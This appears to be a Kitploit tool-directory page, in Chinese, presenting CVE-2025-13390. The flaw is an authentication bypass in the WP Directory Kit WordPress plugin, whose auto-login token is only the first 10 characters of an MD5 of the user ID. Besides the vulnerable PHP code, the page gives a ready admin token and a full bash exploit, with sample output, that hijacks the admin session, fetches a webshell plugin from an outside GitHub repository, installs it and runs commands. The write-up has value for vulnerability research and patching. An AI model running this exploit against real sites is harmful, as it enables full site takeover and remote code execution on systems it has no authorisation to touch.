Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-13390 — WP Directory Kit <= 1.4.4 - 身份验证绕过导致权限提升(通过帐户接管) | Kitploit
工具/GitHubGitHub/d0n601/cve-2025-13390
Payload生成漏洞分析漏洞利用ShellcodeWeb应用程序漏洞利用渗透测试身份验证
GitHubd0n601/cve-2025-13390

CVE-2025-13390

WP Directory Kit <= 1.4.4 - 身份验证绕过导致权限提升(通过帐户接管)

查看仓库
29个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

WP Directory Kit <= 1.4.4 - 通过账户接管绕过身份验证实现权限提升

摘要

WordPress 的 WP Directory Kit 插件 1.4.4 及以下版本在其自动登录功能中存在身份验证绕过漏洞。该漏洞允许未经身份验证的攻击者利用一个密码学上存在缺陷的令牌生成机制获得 WordPress 站点的管理员访问权限。自动登录功能无法禁用,并且使用仅由用户 ID 的 MD5 哈希派生出的可预测令牌。

快速利用说明

CVE-2025-13390.sh 文件会上传一个 Web Shell 插件到目标站点,前提是用户 ID 1 是管理员。

root@kitploit:~
./CVE-2025-13390.sh     
[*] Step 1: Auto-login and save cookies...
[+] Auto-login successful
[*] Step 2: Getting nonce from plugin-install.php...
[+] Install Nonce: a2c0ae384b
[*] Step 3: Downloading plugin from GitHub...
[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)...
[+] Plugin repackaged
[*] Step 5: Uploading plugin...
[+] Plugin installed successfully
[*] Step 6: Testing webshell...
[*] Making request to: http://techcorp.cc/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id
[+] Webshell is accessible!
[+] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleanup complete

漏洞详情

描述

WP Directory Kit 插件实现了一个自动登录功能,允许用户通过访问包含 user_id 和 token 参数的 URL 进行身份验证而无需输入凭据。此功能旨在用于无密码登录场景,例如当新用户被自动创建并通过电子邮件发送登录链接时。

该漏洞存在于以下两个文件中的令牌生成和验证逻辑中:

  1. 令牌生成(application/helpers/Basic.php:5132-5137):
root@kitploit:~
function wdk_generate_auto_login_link( $user_id = null ) {
    $token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
    
    $login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
    return $login_url;
}
  1. 令牌验证(actions.php:116-130):
root@kitploit:~
add_action( 'init', function () {
    if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
        $user_id = (int) $_GET['user_id'];
        $token = sanitize_text_field( $_GET['token'] );
        
        if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
            
            wp_set_auth_cookie( $user_id );
            wp_redirect( home_url() );
            exit;
        } else {
            wp_die( 'Wrong token.' );
        }
    }
});

加密缺陷

令牌生成存在一个关键的加密缺陷。代码尝试通过以下方式创建令牌:

  1. 计算 md5($user_id) - 产生一个32字符的十六进制字符串
  2. 拼接 NONCE_KEY(一个WordPress常量,通常为64个字符)
  3. 拼接字符串 'wpdirectorykit'
  4. 使用 substr(..., 0, 10) 取前10个字符

由于 md5($user_id) 长度为32字符,而函数只取前10个字符,因此令牌实际上只是MD5哈希的前10个字符。

root@kitploit:~
substr(md5($user_id), 0, 10)

例如,对于 user_id = 1:

  • md5(1) = "c4ca4238a0b923820dcc509a6f75849b"(32个十六进制字符)
  • substr(md5(1).NONCE_KEY.'wpdirectorykit', 0, 10) = "c4ca4238a0"(仅MD5的前10个字符)

旨在提供加密安全性的 NONCE_KEY 常量完全无关紧要,因为它出现在MD5哈希的前10个字符之后。

注意: 在WordPress安装中,第一个创建的用户(user_id = 1)几乎总是管理员。必要时可以枚举并使用其他管理员用户ID。

自动登录功能无法禁用

自动登录功能硬编码在插件的 actions.php 文件中,并且当插件启用时始终处于激活状态。没有配置选项或设置可以禁用此功能。自动登录链接在电子邮件模板中生成并发送(参见 application/views/email/new_user_auto_created.php:55),但无论电子邮件设置如何,该端点本身始终可访问。

影响

当攻击者使用有效令牌(例如 /?auto-login=1&user_id=1&token=c4ca4238a0)向自动登录端点发送请求时,actions.php:123 中的易受攻击代码会调用 WordPress 的 wp_set_auth_cookie() 函数。该函数通过在 HTTP 响应中设置 WordPress 身份验证 Cookie 来建立经过身份验证的会话。这些 Cookie 包括:

  • wordpress_logged_in_[hash] - 包含用户 ID 和身份验证信息
  • wordpress_[hash] - 包含管理区域的身份验证 Cookie

一旦设置了这些 Cookie,攻击者的浏览器(或脚本)将被视为指定用户的经过身份验证的会话。

凭借这些管理 Cookie,攻击者可以安装恶意插件、创建管理员用户,并导致站点完全沦陷。

概念验证

以下脚本演示了一个完整的攻击链,利用自动登录漏洞获取管理员访问权限并安装 Web Shell:

root@kitploit:~
#!/bin/bash

TARGET="https://examplesite.com"

echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"

echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"

echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip

echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"

echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
  -F "_wpnonce=$INSTALL_NONCE" \
  -F "pluginzip=@/tmp/webshell.zip" \
  -F "install-plugin-submit=Install Now" \
  "$TARGET/wp-admin/update.php?action=upload-plugin")

if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
    echo "[+] Plugin installed successfully"
else
    echo "[-] Installation may have failed. Checking response..."
    echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi

echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")

if [ -n "$WEBSHELL_RESPONSE" ]; then
    echo "[+] Webshell is accessible!"
    echo "[+] Response:"
    echo "$WEBSHELL_RESPONSE"
else
    echo "[-] Webshell may not be accessible or returned empty response"
fi

# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"

下载工具